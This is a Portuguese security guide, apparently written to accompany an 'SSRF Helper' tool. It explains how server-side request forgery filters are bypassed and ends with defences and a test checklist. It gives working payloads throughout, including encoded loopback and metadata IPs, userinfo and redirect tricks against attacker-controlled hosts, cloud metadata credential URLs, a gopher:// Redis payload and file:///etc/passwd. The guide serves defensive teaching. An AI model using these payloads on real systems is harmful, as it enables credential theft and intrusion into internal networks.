Se você já leu o nosso artigo base de SSRF, sabe que a defesa robusta nunca confia na string da URL. Este guia é o complemento prático: dissecamos cada técnica de bypass que aparece no nosso Helper SSRF, explicando não só o quê enviar, mas por que funciona no nível do parser, do resolvedor de DNS e da pilha de rede.
Há um fio condutor em praticamente todos os bypasses de SSRF:
O filtro e o cliente HTTP discordam. O validador olha a URL de um jeito; a função que de fato abre o socket olha de outro. O atacante vive nessa divergência — faz o validador “ver” um destino permitido e o cliente conectar em outro.
Guarde essa frase. Toda técnica abaixo é uma variação dela. Todo o conteúdo aqui é para uso autorizado: pentest com escopo, bug bounty dentro do programa, pesquisa e educação.
1. Representações alternativas de IP
A defesa ingênua mais comum é uma blocklist textual: “bloqueie 127.0.0.1 e 169.254.169.254”. O problema é que um endereço IPv4 não é uma string — é um inteiro de 32 bits, e existem dezenas de formas de escrever o mesmo inteiro. O culpado histórico é a função inet_aton() (e os clones dela em libc, Python, cURL, navegadores), que aceita muito mais do que o formato a.b.c.d com quatro octetos decimais.
Decimal de 32 bits
http://2130706433/ → 127.0.0.1
127.0.0.1 é 0x7F000001, que em decimal é 2130706433. inet_aton e a maioria dos clientes HTTP convertem o inteiro puro de volta no endereço. Uma blocklist que procura a substring 127.0.0.1 não acha nada — e deixa passar.
Hexadecimal (0x, sem pontos)
http://0x7f000001/ → 127.0.0.1
O mesmo inteiro escrito em hexa com prefixo 0x. Parsers no estilo inet_aton reconhecem o prefixo e convertem; uma regex \d+\.\d+\.\d+\.\d+ nem casa com isso (tem letras), então a validação muitas vezes é pulada por completo.
Hexadecimal por octeto
http://0x7f.0x0.0x0.0x1/ → 127.0.0.1
Quando o parser exige quatro partes separadas por ponto, cada parte ainda pode vir em hexa. Útil contra validadores que contam os pontos mas não normalizam cada octeto.
Octal (zero à esquerda)
http://0177.0.0.1/ → 127.0.0.1
Um octeto com 0 na frente é interpretado como octal por inet_aton. 0177 octal = 127 decimal. O detalhe perverso: para um humano (e para algumas regex) 0177.0.0.1 “parece” um IP diferente de 127.0.0.1, mas resolve para o mesmo lugar.
Octal sem pontos
http://017700000001/ → 127.0.0.1
O inteiro de 32 bits inteiro escrito em octal, com 0 na frente. Forma rara, mas vários parsers ainda a normalizam para o IP de destino — e quase nenhum filtro a prevê.
Forma curta de 3 partes
http://127.0.1/ → 127.0.0.1
inet_aton aceita a.b.c, onde a última parte é tratada como 16 bits. 127.0.1 vira 127.0.(0.1) = 127.0.0.1. Escapa de qualquer validação que exija exatamente quatro octetos.
Forma curta de 2 partes
http://127.1/ → 127.0.0.1
a.b, com a última parte ocupando 24 bits. 127.1 = 127.(0.0.1) = 127.0.0.1. É o clássico para encurtar loopback e furar regex ingênuas.
Overflow de octeto (mod 256)
http://127.0.0.257/ → 127.0.0.1 (em parsers que aplicam % 256)
Alguns parsers aplicam valor % 256 a cada octeto. 257 % 256 = 1, então 127.0.0.257 resolve para 127.0.0.1. Passa por checagens que só barram o valor canônico exato.
IPv4 mapeado em IPv6
http://[::ffff:169.254.169.254]/ → 169.254.169.254
http://[::ffff:7f00:1]/ → 127.0.0.1
::ffff:x.x.x.x é o IPv4 embutido dentro de um endereço IPv6. Numa stack dual-stack, o sistema conecta no IPv4 real. Mas um filtro que só sabe validar IPv4 nem inspeciona o que está entre colchetes — e um filtro de IPv6 muitas vezes não percebe que aquilo “vira” um endereço privado.
A segunda forma (::ffff:7f00:1) escreve os dois últimos grupos em hexa (7f00:1 = 127.0.0.1); útil contra filtros que reconhecem a versão “pontuada” mas não a hexadecimal. A versão expandida e não comprimida ([0:0:0:0:0:ffff:7f00:1]) derrota filtros que só procuram a forma comprimida ::ffff:.
DNS wildcard: nip.io e sslip.io
http://169.254.169.254.nip.io/ → 169.254.169.254
http://169-254-169-254.sslip.io/ → 169.254.169.254
Esses serviços resolvem qualquer <ip>.nip.io para o próprio IP embutido no nome. Isso derrota allowlists baseadas em domínio: o host é um nome “externo” e legítimo (*.nip.io), mas aponta para dentro da sua rede. sslip.io faz o mesmo com sintaxe por hífen, útil como fallback quando um dos dois está filtrado.
Por que essa categoria toda funciona: o filtro compara texto, o cliente HTTP resolve um inteiro/endereço. A única defesa confiável é resolver o nome, converter ao endereço binário e validar esse endereço contra as faixas privadas/reservadas — nunca a string.
2. Bypass de allowlist
Aqui o desenvolvedor já fez a coisa “certa” e adotou uma allowlist (api.parceiro.com). Mas a forma como ele extrai o host da URL é frágil.
Credenciais embutidas (userinfo)
http://allowed.com@169.254.169.254/
Tudo que vem antes do @ é a parte de userinfo (usuário:senha), não o host. O cliente conecta em 169.254.169.254. Um filtro ingênuo que faz url.startsWith("http://allowed.com") ou que extrai o host com um split mal feito “vê” allowed.com e libera.
Confusão com fragmento (#)
http://169.254.169.254#@allowed.com/
Parsers divergem sobre onde o fragmento (#) começa e o que conta como host. Alguns validadores, ao tentar “limpar” a URL, acabam interpretando allowed.com como host; o cliente HTTP real ignora tudo após o # e conecta em 169.254.169.254.
Ponto final e sufixo (FQDN)
http://allowed.com.evil.com/
http://169.254.169.254./
Uma allowlist por sufixo — host.endsWith("allowed.com") — cai imediatamente com allowed.com.evil.com, um domínio totalmente controlado pelo atacante. E o ponto final (169.254.169.254.) é um FQDN absoluto válido: muitos resolvers o aceitam e resolvem para o mesmo IP, enquanto a comparação textual falha.
# Filtro frágil — NÃO faça isso
if host.endswith("allowed.com"): # allowed.com.evil.com passa
fetch(url)
Variação de caixa e encoding
http://ALLOWED.com%2f@169.254.169.254/
Comparações sensíveis a caixa (host == "allowed.com") caem com ALLOWED.com. E filtros que não fazem percent-decode antes de comparar são enganados por %2f (/), %2e (.) e afins: o validador vê uma string, o cliente decodifica e enxerga outra estrutura de URL. Sempre normalize (caixa, percent-decode, IDNA) antes de comparar.
3. Metadados de cloud
O alvo nº 1 do SSRF em nuvem é o endpoint de metadados num IP link-local (169.254.169.254), acessível só de dentro da instância. Ele costuma entregar credenciais temporárias da role atrelada à máquina. As “técnicas” aqui são, na verdade, o protocolo exato que cada provedor exige.
AWS IMDSv1 — credenciais sem token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
O IMDSv1 não exige token: um GET simples lê o nome da role e, em seguida, as chaves temporárias (AccessKeyId, SecretAccessKey, Token). É por isso que o SSRF mais banal — aquele que só consegue um GET — já é catastrófico em EC2 com IMDSv1.
AWS IMDSv2 — token via PUT
PUT http://169.254.169.254/latest/api/token
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# depois:
GET http://169.254.169.254/latest/meta-data/...
-H "X-aws-ec2-metadata-token: <token>"
O IMDSv2 obriga um fluxo de duas etapas: primeiro um PUT para obter um token, depois o header X-aws-ec2-metadata-token em cada GET. Isso só é explorável se a SSRF permitir método e headers arbitrários — o que quebra a esmagadora maioria dos SSRFs ingênuos. É por isso que exigir IMDSv2 é uma defesa tão eficaz (embora não única).
GCP — header Metadata-Flavor
http://169.254.169.254/computeMetadata/v1/ -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/?recursive=true
O GCP só responde se a requisição trouxer o header Metadata-Flavor: Google. Essa exigência existe justamente para frustrar SSRFs simples. Quando o atacante controla headers, ?recursive=true despeja tudo de uma vez, incluindo tokens de service account.
Azure — header Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata: true"
http://169.254.169.254/metadata/identity/oauth2/token?... -H "Metadata: true"
O Azure exige o header Metadata: true e o parâmetro api-version. O endpoint /identity/oauth2/token devolve tokens de identidade gerenciada — o equivalente às credenciais de role da AWS.
Alibaba Cloud
http://100.100.100.200/latest/meta-data/ram/security-credentials/
A Alibaba usa um IP diferente (100.100.100.200) com uma estrutura parecida com a da AWS e sem token por padrão. Inclua esse IP na sua bateria de testes — blocklists que só conhecem 169.254.169.254 o ignoram.
Kubernetes / kubelet
https://169.254.169.254/
http://127.0.0.1:10255/pods
Dentro de um cluster, a API de metadados e a porta read-only do kubelet (10255) expõem segredos, variáveis de ambiente e a lista de pods quando alcançadas via SSRF. É um alvo interno que blocklists focadas só em cloud metadata costumam esquecer.
A defesa de fundo é a mesma para todos: bloquear, por rota de rede, o acesso da carga de trabalho ao IP de metadados quando ela não precisa dele, exigir IMDSv2/headers e dar à role o mínimo privilégio.
4. Protocolos exóticos
Se o fetcher aceita esquemas além de http/https, a superfície de ataque explode. O esquema da URL determina qual protocolo de bytes o cliente vai falar com a porta de destino.
gopher:// → Redis (e SMTP, FastCGI…)
gopher://127.0.0.1:6379/_%2A1%0d%0a%244%0d%0aPING%0d%0a
gopher:// é a chave-mestra: ele manda bytes crus para a porta, incluindo CRLF (%0d%0a). Como muitos protocolos internos (Redis, SMTP, FastCGI, memcached) são baseados em texto e linha, você consegue escrever comandos válidos do protocolo dentro da URL. O exemplo acima envia um PING no protocolo RESP do Redis; trocando o payload, você escreve chaves, agenda jobs ou faz RCE via FastCGI. (O builder da ferramenta monta esses bytes para você.)
dict:// — sondar e extrair
dict://127.0.0.1:6379/info
dict:// manda uma linha simples para a porta e devolve a resposta. É excelente para fingerprint de serviços internos (Redis, memcached) e leitura de banners sem precisar montar o protocolo inteiro como no gopher.
file:// — leitura de arquivo local
file:///etc/passwd
Se o cliente HTTP aceita file://, a SSRF deixa de ser “requisição para outro host” e vira leitura arbitrária de arquivos do próprio servidor. Não há rede envolvida — só o sistema de arquivos local.
ftp:// e ldap://
ftp://127.0.0.1:11211/
ldap://127.0.0.1:389/
Esquemas alternativos alcançam serviços que falam protocolos texto. Combinados com a porta certa, tocam memcached, LDAP e outros — outra razão para o cliente HTTP ter uma allowlist de esquemas (https apenas, idealmente).
5. DNS rebinding
Essa é a técnica que prova por que validar a string da URL nunca basta.
Rebinding por TOCTOU
http://rebind.attacker.com/
# TTL 0 → 1ª resolução: IP público (passa na validação)
# 2ª resolução: 127.0.0.1 / 169.254.169.254 (no fetch real)
O atacante controla o DNS de rebind.attacker.com e responde com TTL 0 (sem cache). Na hora em que a aplicação valida o host, ele resolve para um IP público inofensivo e passa. Microssegundos depois, quando o cliente faz a conexão de verdade, uma nova consulta DNS resolve para 127.0.0.1 ou para o IP de metadados. A vulnerabilidade é a janela entre checar e usar (TOCTOU — time-of-check to time-of-use).
A consequência prática: mesmo que você resolva o DNS e valide o IP, se depois você reconectar pelo nome (deixando o cliente resolver de novo), o rebinding vence. A defesa é conectar exatamente no IP já validado, sem nova resolução.
Serviços de rebind prontos
1u.ms · rbndr.us · nip.io · sslip.io
Você não precisa montar infraestrutura de DNS: 1u.ms e rbndr.us alternam entre dois IPs a cada consulta (rebinding pronto), enquanto nip.io/sslip.io resolvem direto para o IP embutido no nome (úteis na categoria de allowlist). O painel da ferramenta gera esses nomes a partir do IP que você digitar.
6. Parser confusion
A generalização do “filtro e cliente discordam”: eles usam parsers de URL diferentes.
Divergência RFC 3986 × WHATWG
http://127.0.0.1\@allowed.com/
http://allowed.com⁄@127.0.0.1/
O validador (digamos, a urlparse de uma linguagem, seguindo a RFC 3986) e o cliente HTTP (digamos, um navegador, seguindo o WHATWG URL Standard) discordam sobre o significado de barra invertida (\), espaço e do unicode ⁄ (U+2044, “fraction slash”). Um trata \ como separador de path; o outro como parte do host. Resultado: cada um enxerga um host diferente na mesma string — e o atacante escolhe qual lado vê o quê.
IDNA / homoglyph
http://①②⑦.⓪.⓪.①/ → 127.0.0.1
Caracteres unicode “decorados” (①②⑦) são normalizados para ASCII (127) no momento da resolução, via IDNA/NFKC. O filtro compara a forma unicode (que não casa com 127); o cliente normaliza e resolve o IP real. Mesmo princípio dos homoglyphs em nomes de domínio.
Redirect 30x para o destino interno
GET https://attacker.com/r (URL pública — passa na allowlist)
↓
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/...
A URL inicial é pública e passa em qualquer allowlist. Mas o servidor do atacante responde com um 30x apontando para o alvo interno. Se o cliente HTTP segue redirects automaticamente e só validou a URL de partida, ele segue cego para 169.254.169.254. É um “rebinding sem DNS”: a troca de destino acontece na camada HTTP, não na de resolução.
Como nos defendemos
Repare que nenhuma dessas técnicas é derrotada por uma regex melhor. O nosso artigo base de SSRF detalha a arquitetura completa; em resumo, a defesa que sobrevive a tudo acima é:
- Allowlist de host e de esquema (
httpsapenas), negando por padrão. - Resolver o DNS, validar o(s) IP(s) contra todas as faixas privadas/reservadas — e conectar exatamente nesse IP, sem nova resolução (mata rebinding).
- Não seguir redirects (ou revalidar o destino a cada salto).
- Normalizar antes de comparar: caixa, percent-decode, IDNA, forma canônica do IP.
- Segmentação de rede / egress filtering: a carga que faz fetch não deve ter rota para o metadado nem para a rede interna.
- IMDSv2 obrigatório,
hop limit = 1, roles com mínimo privilégio. - Desabilitar esquemas perigosos (
file://,gopher://,dict://,ftp://,ldap://).
A linha que conecta os pontos: a defesa nunca pode confiar na string. Ela tem de controlar para qual endereço binário, em qual rede, o servidor tem permissão de abrir um socket — no instante exato da conexão.
Checklist de teste de bypass
- Representações de IP: decimal, hex (
0x), hex por octeto, octal (com/sem ponto), formas curtas (3 e 2 partes), overflow%256. - IPv6:
[::1], IPv4-mapeado ([::ffff:...]), forma hexa e expandida. - DNS wildcard:
nip.io,sslip.io. - Allowlist: userinfo
@, fragmento#, sufixoallowed.com.evil.com, ponto final, caixa,%2f/%2e. - Metadados: AWS v1/v2, GCP, Azure, Alibaba (
100.100.100.200), kubelet:10255. - Protocolos:
gopher://,dict://,file://,ftp://,ldap://. - DNS rebinding (TTL 0) e serviços prontos (
1u.ms,rbndr.us). - Parser confusion:
\, espaço, unicode⁄, IDNA/homoglyph. - Redirect 30x apontando para destino interno.
Cada um desses payloads você gera e estuda no nosso Helper SSRF — tudo roda 100% no navegador, sem nenhuma requisição ao alvo. Use em testes autorizados, e do outro lado da mesa: trate cada item desta lista como um caso de teste que sua defesa precisa passar.